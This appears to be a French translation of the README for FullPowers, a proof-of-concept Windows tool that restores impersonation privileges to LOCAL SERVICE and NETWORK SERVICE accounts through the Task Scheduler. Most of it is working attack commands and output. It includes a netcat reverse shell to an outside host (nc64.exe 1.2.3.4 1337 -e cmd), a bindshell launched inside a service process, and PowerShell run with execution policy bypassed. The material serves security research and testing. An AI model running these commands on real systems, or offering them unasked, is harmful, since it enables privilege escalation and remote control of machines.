FullPowers est un outil de preuve de concept que j'ai créé pour récupérer automatiquement l' ensemble de privilèges par défaut d'un compte de service, notamment SeAssignPrimaryToken et SeImpersonate .
Sous Windows, certains services exécutés en tant que LOCAL SERVICE
ou NETWORK SERVICE
sont configurés pour s'exécuter avec un ensemble restreint de privilèges . Par conséquent, même si le service est compromis, vous n’obtiendrez pas les privilèges d’usurpation d’identité et l’élévation des privilèges vers LOCAL SYSTEM
devrait être plus compliquée. Cependant, j'ai constaté que lorsque vous créez une tâche planifiée , le nouveau processus créé par le service Planificateur de tâches dispose de tous les privilèges par défaut du compte utilisateur associé (sauf SeImpersonate ). Par conséquent, avec quelques manipulations de jetons, vous pouvez générer un nouveau processus avec tous les privilèges manquants.
Usage
LOCAL SERVICE
ou NETWORK SERVICE
.
Vous pouvez consulter le message d'aide en utilisant l'option -h
.
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
Vous souhaitez tester ce PoC vous-même ? C'est super! Voici quelques instructions simples pour vous aider à démarrer.
L'idée générale est de démarrer un bindshell à partir du processus d'un service existant, de s'y connecter puis d'exécuter l'exécutable.
Vous aurez besoin de 2 outils tiers, netcat et RunFromProcess.
Choisissez un service qui a des privilèges limités, par exemple : upnphost
.
Ouvrez le Gestionnaire des tâches , accédez à l'onglet Services et obtenez le PID du processus correspondant.
Utilisez la commande suivante pour démarrer le bindshell en tant qu'administrateur :
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
Utilisez la commande suivante pour vous connecter au bindshell :
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
Nous pouvons voir que le processus actuel n’a aucun privilège d’usurpation d’identité. Maintenant, lancez le PoC...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Vous devriez maintenant avoir un shell avec des privilèges d'usurpation d'identité !